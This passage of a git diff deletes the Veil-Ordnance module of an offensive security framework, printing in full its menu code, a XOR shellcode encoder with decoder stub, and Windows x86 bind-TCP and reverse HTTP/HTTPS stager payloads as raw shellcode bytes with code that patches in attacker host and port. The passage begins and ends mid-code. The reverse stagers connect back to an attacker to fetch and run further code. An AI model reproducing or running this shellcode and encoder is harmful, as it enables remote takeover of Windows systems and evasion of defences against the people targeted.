<8}'.format(pload_object.required_options[opt_name][0]) + '\t' + pload_object.required_options[opt_name][1]) - print() - self.print_shellcode_option_commands() - print() - return - - def print_payloads(self): - print("Available Payload Modules") - print("Command Line Name => Description") - print("-" * 79) - print() - for payload in self.active_shellcode.values(): - print(helpers.color(payload.cli_name) + " => " + payload.name) - return - - def tool_main_menu(self, invoked=False): - # This is the main function where everything is called from - # Iterate over payloads and find the user selected payload module - # invoked is used when another tool is calling this function - ordnance_main_command = '' - show_ordnance_menu = True - if invoked: - self.invoked = True - - while ordnance_main_command == '': - - if show_ordnance_menu: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - show_ordnance_menu = True - - ordnance_main_command = input('Veil-Ordnance command: ').strip() - - # See if we're listing payloads or encoders - if ordnance_main_command.lower().startswith('list'): - - if len(ordnance_main_command.split()) == 1: - print() - print(helpers.color("[*] Error: You did not provide what you want to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) - print() - ordnance_main_command = '' - show_ordnance_menu = False - - elif len(ordnance_main_command.split()) == 2: - - list_selection = ordnance_main_command.split()[1] - - # Check and see what we are listing - if list_selection.lower() == 'payloads': - ordnance_helpers.title_screen() - self.print_payloads() - show_ordnance_menu = False - print() - ordnance_main_command = '' - - elif list_selection.lower() == 'encoders': - ordnance_helpers.title_screen() - self.print_encoders() - show_ordnance_menu = False - print() - ordnance_main_command = '' - - else: - show_ordnance_menu = False - print() - print(helpers.color("[*] Error: You did not provide a valid item to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) - print() - ordnance_main_command = '' - - else: - ordnance_main_command = '' - - elif ordnance_main_command.lower() == "help": - ordnance_main_command = '' - - elif ordnance_main_command.lower() == "back": - ordnance_main_command = '' - break - - elif ordnance_main_command.lower() == "exit": - if invoked: - break - else: - sys.exit(0) - - elif ordnance_main_command.lower().startswith('payload'): - if len(ordnance_main_command.split()) < 2: - print(helpers.color("[*] Error: You did not provide the payload to use!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - ordnance_main_command = '' - elif len(ordnance_main_command.split()) > 2: - print(helpers.color("[*] Error: You provided too many options!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - else: - self.selected_payload = ordnance_main_command.split()[1].lower() - self.use_payload(self.selected_payload) - - # If invoked, return the shellcode - if self.invoked: - return - - if self.final_shellcode == '': - show_ordnance_menu = False - self.selected_payload = '' - ordnance_main_command = '' - - else: - ordnance_main_command = '' - return - - def use_encoder(self, incoming_pload): - encoder_found = False - for loaded_encoder in self.active_encoders.values(): - if incoming_pload.required_options["Encoder"][0].lower() == loaded_encoder.cli_name: - encoder_found = True - loaded_encoder.encode(incoming_pload) - - if not encoder_found: - print(helpers.color("[*] Error: Encoder not found! Printing non-encoded shellcode!", warning=True)) - return - - def use_payload(self, incoming_payload): - shellcode_found = False - for payload in self.active_shellcode.values(): - if incoming_payload.lower() == payload.cli_name: - shellcode_found = True - while ordnance_helpers.loop_req_options(payload): - self.print_options_screen(payload) - - while True: - comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - breakout = False - shellcode_command = input( - "[" + payload.cli_name + ">>]: ").lower().strip() - - # Start logic for required option commands - if shellcode_command.startswith("set"): - if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: - print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) - print(helpers.color("[*] Error: Ex: set LHOST 192.168.18.14")) - else: - found_req_option = False - for key, value in payload.required_options.items(): - if shellcode_command.split()[1] == key.lower(): - found_req_option = True - value[0] = shellcode_command.split()[2] - if not found_req_option: - print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) - elif shellcode_command == "exit": - # Completely exit out of Veil - print(helpers.color("[*] You're rage quitting all of Veil!", warning=True)) - sys.exit(0) - elif shellcode_command == "back": - # Go back to shellcode selection - shellcode_command = '' - breakout = True - break - elif shellcode_command == "generate": - lport_out = '' - lhost_out = '' - rhost_out = '' - if ordnance_helpers.loop_req_options(payload): - print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) - else: - safe_to_generate = True - if "LHOST" in payload.required_options: - if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): - print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - safe_to_generate = False - if "LPORT" in payload.required_options: - if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): - print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - safe_to_generate = False - if safe_to_generate: - # Generate the shellcode - payload.gen_shellcode() - # Gather information to generate handler if requested - self.final_shellcode = payload.customized_shellcode - if "LHOST" in payload.required_options: - lhost_out = payload.required_options["LHOST"][0] - if "LPORT" in payload.required_options: - lport_out = payload.required_options["LPORT"][0] - if "RHOST" in payload.required_options: - rhost_out = payload.required_options["RHOST"][0] - - if lhost_out: - self.payload_options['LHOST'] = lhost_out - if lport_out: - self.payload_options['LPORT'] = lport_out - if rhost_out: - self.payload_options['RHOST'] = rhost_out - - # Check if encoder is needed - if payload.required_options["Encoder"][0] is not "None": - self.use_encoder(payload) - self.final_shellcode = payload.customized_shellcode - - # Print payload stats - payload.payload_stats() - if self.invoked: - dummy = input('\nHit enter to return to Veil-Evasion... ') - else: - dummy2 = input('\nHit enter to continue... ') - shellcode_command = '' - - if "LHOST" in payload.required_options: - payload.required_options["LHOST"][0] = '' - if "LPORT" in payload.required_options: - payload.required_options["LPORT"][0] = '' - breakout = True - break - elif shellcode_command == "options": - # Reprint the shellcode options to console - self.print_options_screen(payload) - - if breakout: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - break - - if not shellcode_found: - print(helpers.color("[*] Error: You did not provide a valid payload name, please try again!", warning=True)) - return diff --git a/Tools/Ordnance/__init__.py b/Tools/Ordnance/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/encoders/__init__.py b/Tools/Ordnance/encoders/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/encoders/xor.py b/Tools/Ordnance/encoders/xor.py deleted file mode 100644 index e443b11..0000000 --- a/Tools/Ordnance/encoders/xor.py +++ /dev/null @@ -1,200 +0,0 @@ -#!/usr/bin/env python - -""" -This xor encoder was developed completely by Justin Warner (@sixdub) -Thanks a lot for letting us add this in! - http://stackoverflow.com/questions/4020539/process-escape-sequences-in-a-string-in-python -""" - -import codecs -import re -import sys -from lib.common import helpers - - -class EncoderModule: - - def __init__(self, cli_arguments): - self.name = "Single byte Xor Encoder" - self.cli_name = "xor" - self.description = "Single byte xor shellcode encoder" - self.author = "Justin Warner (@sixdub)" - self.xor_key = 0x00 - self.shellcode = b"" - self.terminator = b'\x00' - self.encoded_shellcode = "" - self.encoded_payload_length = 0 - self.encoder_bad_chars = ["eb", "18", "5e", "8d", "3e", "31", "c0", "db", "8a", "1c", "06", "80", "f3", "88", "1f", "47", "40", "ef", "e8", "e3", "ff"] - if cli_arguments is not None: - if cli_arguments.bad_chars is not None: - self.bad_chars = cli_arguments.bad_chars - else: - self.bad_chars = None - self.misc_comments = """ - #This is the decoder stub - #<_start>: - # eb 18 jmp 40101a - - #: - #5e pop %esi - #8d 3e lea (%esi),%edi - #31 c0 xor %eax,%eax - #31 db xor %ebx,%ebx - - #: - #8a 1c 06 mov (%esi,%eax,1),%bl - #80 fb TERM cmp TERM,%bl - #74 0e je - #80 f3 KEY xor KEY,%bl - #88 1f mov %bl,(%edi) - #47 inc %edi - #40 inc %eax - #eb ef jmp - - #: - #e8 e3 ff ff ff call - """ - - def cli_encode(self, incoming_pld): - self.encode_routine(incoming_pld) - return - - def decode_escapes(self, s): - ESCAPE_SEQUENCE_RE = re.compile(r''' - ( \\U........ # 8-digit hex escapes - | \\u.... # 4-digit hex escapes - | \\x.. # 2-digit hex escapes - | \\[0-7]{1,3} # Octal escapes - | \\N\{[^}]+\} # Unicode characters by name - | \\[\\'"abfnrtv] # Single-character escapes - )''', re.UNICODE | re.VERBOSE) - - def decode_match(match): - return codecs.decode(match.group(0), 'unicode-escape') - - return ESCAPE_SEQUENCE_RE.sub(decode_match, s) - - def encode(self, incoming_pld): - self.encode_routine(incoming_pld) - return - - def encode_routine(self, incoming_payload): - self.set_bad_characters(incoming_payload) - self.set_shellcode(incoming_payload) - encode = bytearray(b"") - # This is where the encoding happens - # Test all possible keys and see if it creates a bad char. If not, we have a winner! - for test_key in range(1, 255): - if not self.have_bad_chars(self.xor(self.shellcode, test_key), self.bad_chars): - self.xor_key = test_key - break - else: - pass - - # Ensure a key was found... if not, error out - if self.xor_key == 0x00: - print("[*] ERROR: No key found... Stop being so picky and change your bad chars!") - exit - else: - # XOR all the things - # Justin, your code comments are awesome - for x in self.shellcode: - encode.append(ord(x) ^ self.xor_key) - skipped_term = 0 - - # Iterate over code to find a non-used terminating char - # that is not a badchar - for i in range(1, 255): - if i in encode or i in self.bad_chars: - skipped_term += 1 - else: - self.terminator = i - break - - # Build final payload with stub - encode.append(self.terminator) - decodestub = b"\xeb\x18\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb" - decodestub += (self.terminator).to_bytes(1, byteorder='big') - decodestub += b"\x74\x0e\x80\xf3" - decodestub += (self.xor_key).to_bytes(1, byteorder='big') - decodestub += b"\x88\x1f\x47\x40\xeb\xef\xe8\xe3\xff\xff\xff" - complete = decodestub + encode - complete2 = codecs.encode(complete, 'hex') - complete2 = "\\x" + '\\x'.join(codecs.decode(complete2[i:i + 2], 'utf-8') for i in range(0, len(complete2), 2)) - self.encoded_payload_length = len(complete) - - # At this point, the shellcode is a byte array... now we convert to ASCII - self.encoded_shellcode = self.shellcode_to_ascii(complete) - incoming_payload.customized_shellcode = self.encoded_shellcode - return - - def have_bad_chars(self, incoming, chars): - for b in chars: - if b in incoming: - return True - return False - - def set_shellcode(self, shellcode): - self.shellcode = self.decode_escapes(shellcode.customized_shellcode) - return - - def set_bad_characters(self, payload_obj): - bad_characters = payload_obj.required_options["BadChars"][0] - if bad_characters is not None: - final_bad_chars = [] - bad_characters = bad_characters.split('\\x') - if '' in bad_characters: - bad_characters.remove('') - - # Do some validation on the received characters - for item in bad_characters: - if item in self.encoder_bad_chars: - print(helpers.color("[*] Encoder Error: Bad character specified is used for the decoder stub.", warning=True)) - print(helpers.color("[*] Encoder Error: Please use different bad characters or another encoder!", warning=True)) - sys.exit() - else: - if len(item) == 2: - # Thanks rohan (@cptjesus) for providing this regex code, and making me too lazy - # to do it myself - rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE) - if rohan_re_code.match(item): - final_bad_chars.append(item) - else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x02... format.", warning=True)) - sys.exit() - else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x01... format.", warning=True)) - sys.exit() - self.bad_chars = [int("0x" + x, 16) for x in final_bad_chars] - return - - def shellcode_to_ascii(self, shell_code): - output = "" - for b in shell_code: - output += "\\x%02x" % b - return output - - # Takes a blob as input with a single byte key and returns blob output - def xor(self, input_sc, key): - output = bytearray(b"") - for b in input_sc: - output.append(ord(b) ^ key) - return output - - def all_the_stats(self, parsed_cli_object): - print("Payload Type: " + parsed_cli_object.payload) - if parsed_cli_object.ip is None: - print("IP Address: n/a") - else: - print("IP Address: " + parsed_cli_object.ip) - print("Port: " + str(parsed_cli_object.port)) - print("Encoder Name: " + self.name) - string_bad_chars = '' - for bchar in self.bad_chars: - string_bad_chars += str(hex(bchar)) + " " - print("Bad Character(s): " + string_bad_chars) - print("Shellcode length: " + str(self.encoded_payload_length)) - print("Xor Key: " + str(hex(self.xor_key)) + "\n") - return diff --git a/Tools/Ordnance/ordnance_common/__init__.py b/Tools/Ordnance/ordnance_common/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/ordnance_common/ordnance_helpers.py b/Tools/Ordnance/ordnance_common/ordnance_helpers.py deleted file mode 100644 index f1f4d34..0000000 --- a/Tools/Ordnance/ordnance_common/ordnance_helpers.py +++ /dev/null @@ -1,89 +0,0 @@ -""" -This file contains random helper functions for Veil-Ordnance -""" - -import os -import random -import re -import socket -import string -import struct -from lib.common import helpers - - -def check_lhost(lhost_value): - if validate_ip(lhost_value): - return True - else: - try: - lhost_value = socket.gethostbyname(lhost_value) - return True - except socket.gaierror: - return False - - -def check_lport(lport_value): - try: - if int(lport_value): - if 0 < int(lport_value) < 65535: - return True - else: - return False - except ValueError: - return False - - -def checksum_eight(string_checked): - current_sum = 0 - num_Bs = len(string_checked) - letter_values = struct.unpack("B" * num_Bs, string_checked.encode('UTF-8')) - for value in letter_values: - current_sum += value - return current_sum % 0x100 - - -def gen_uri(): - goal_sum = 92 - all_characters = list(string.digits + string.ascii_letters) - while True: - uri = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(3)) - for character in all_characters: - full_uri = uri + character - string_sum = checksum_eight(full_uri) - if string_sum == goal_sum: - return full_uri - - -def loop_req_options(payload_object): - blank_options = False - for required_option_name in payload_object.required_options.keys(): - if payload_object.required_options[required_option_name][0] == "": - blank_options = True - return blank_options - - -def title_screen(): - """ - Print the framework title, with version. - """ - os.system('clear') - print('=' * 79) - print(' ' * 35 + helpers.color('Veil-Ordnance', status=False, bold=True)) - print('=' * 79) - print(' [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework') - print('=' * 79 + '\n') - return - - -def validate_ip(val_ip): - # This came from (Mult-line link for pep8 compliance) - # http://python-iptools.googlecode.com/svn-history/r4 - # /trunk/iptools/__init__.py - ip_re = re.compile(r'^(\d{1,3}\.){0,3}\d{1,3}$') - if ip_re.match(val_ip): - quads = (int(q) for q in val_ip.split('.')) - for q in quads: - if q > 255: - return False - return True - return False diff --git a/Tools/Ordnance/ordnance_common/payload_options.py b/Tools/Ordnance/ordnance_common/payload_options.py deleted file mode 100644 index 0d61e3a..0000000 --- a/Tools/Ordnance/ordnance_common/payload_options.py +++ /dev/null @@ -1,11 +0,0 @@ -""" -This is the object used to hold payload options for Ordnance to leverage -""" - -class Payload_Details: - - def __init__(self): - self.payload = '' - self.lhost = '' - self.lport = '' - self.bad_chars = '' diff --git a/Tools/Ordnance/payloads/__init__.py b/Tools/Ordnance/payloads/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/payloads/x86/__init__.py b/Tools/Ordnance/payloads/x86/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/payloads/x86/bind_tcp.py b/Tools/Ordnance/payloads/x86/bind_tcp.py deleted file mode 100644 index b69ddbf..0000000 --- a/Tools/Ordnance/payloads/x86/bind_tcp.py +++ /dev/null @@ -1,104 +0,0 @@ -""" -Bind TCP Payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/bind_tcp.rb -""" - -import codecs -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Bind TCP Stager (Stage 1)" - self.description = "Binds to a user provided port and listens for an incoming connection" - self.cli_name = "bind_tcp" - self.platform = "Windows" - self.arch = "x86" - self.port_offset = 197 - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - b"\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - b"\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - b"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" + - b"\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" + - b"\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" + - b"\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" + - b"\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A" + - b"\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + - b"\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3" + - b"\x29\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"], - "RHOST": ["", "RHOST value"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - stager_shellcode = codecs.encode(self.stager[0:self.port_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += port_shellcode - part_2 = codecs.encode(self.stager[self.port_offset + 2:], 'hex') - part_2 = "\\x" + '\\x'.join(codecs.decode(part_2[i:i + 2], 'utf-8') for i in range(0, len(part_2), 2)) - stager_shellcode += part_2 - self.customized_shellcode = stager_shellcode - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_http.py b/Tools/Ordnance/payloads/x86/rev_http.py deleted file mode 100644 index a18ba6b..0000000 --- a/Tools/Ordnance/payloads/x86/rev_http.py +++ /dev/null @@ -1,139 +0,0 @@ -""" -rev_http payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_http.rb -""" - -import binascii -import codecs -from lib.common import helpers -from tools.ordnance.ordnance_common import ordnance_helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse HTTP Stager (Stage 1)" - self.description = "Connects back to a handler to download and run\ - fun files over HTTP :)" - self.cli_name = "rev_http" - self.platform = "Windows" - self.arch = "x86" - self.lport_offset = 180 # This is actually going to be little endian - self.uri_offset = 252 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - # The \x5c and \x11 are overwritten by the lport value - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + - b"\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - b"\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - b"\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x3A\x50\x68\x57\x89\x9F\xC6" + - b"\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x29\x53\x50\x68" + - b"\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x53\x53\x53\x53\x56\x68" + - b"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75\xED\x68\xF0\xB5" + - b"\xA2\x56\xFF\xD5\xEB\x42\xE8\xD2\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + - b"\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68" + - b"\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00" + - b"\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07" + - b"\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7D\xFF\xFF\xFF") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_little_endian = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_little_endian = port_1half + port_2half - - # Get the URI that will be used to check in - incoming_uri = ordnance_helpers.gen_uri() - - # Convert the URI for use within shellcode - uri_shellcode = '' - hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) - hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] - for two_bites in hexed_uri: - uri_shellcode += '\\x' + two_bites.decode('UTF-8') - - final_http_shellcode = codecs.encode(self.stager[0:self.lport_offset], 'hex') - final_p1 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode), 2)) - final_p1 += port_little_endian # Add 91 bytes to get to URI offset - - final_http_shellcode2 = codecs.encode(self.stager[self.lport_offset + 2:self.uri_offset], 'hex') - final_p2 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode2), 2)) - sc = (b'\\x00').decode('utf-8') - final_p2 += uri_shellcode + sc - - final_http_shellcode3 = codecs.encode(self.stager[self.uri_offset + 5:], 'hex') - final_p3 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode3), 2)) - final_p3 += ip_shellcode - final_p3 += "\\x00" - - self.customized_shellcode = final_p1 + final_p2 + final_p3 - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_https.py b/Tools/Ordnance/payloads/x86/rev_https.py deleted file mode 100644 index 55e114d..0000000 --- a/Tools/Ordnance/payloads/x86/rev_https.py +++ /dev/null @@ -1,140 +0,0 @@ -""" -rev_https payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_https.rb -""" - -import binascii -import codecs -from lib.common import helpers -from tools.ordnance.ordnance_common import ordnance_helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse HTTPS Stager (Stage 1)" - self.description = "Connects back to a handler to download and run\ - fun files over HTTPS :)" - self.cli_name = "rev_https" - self.platform = "Windows" - self.arch = "x86" - self.lport_offset = 180 # This is actually going to be little endian - self.uri_offset = 272 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - # The \x5c and \x11 are overwritten by the lport value - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + - b"\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - 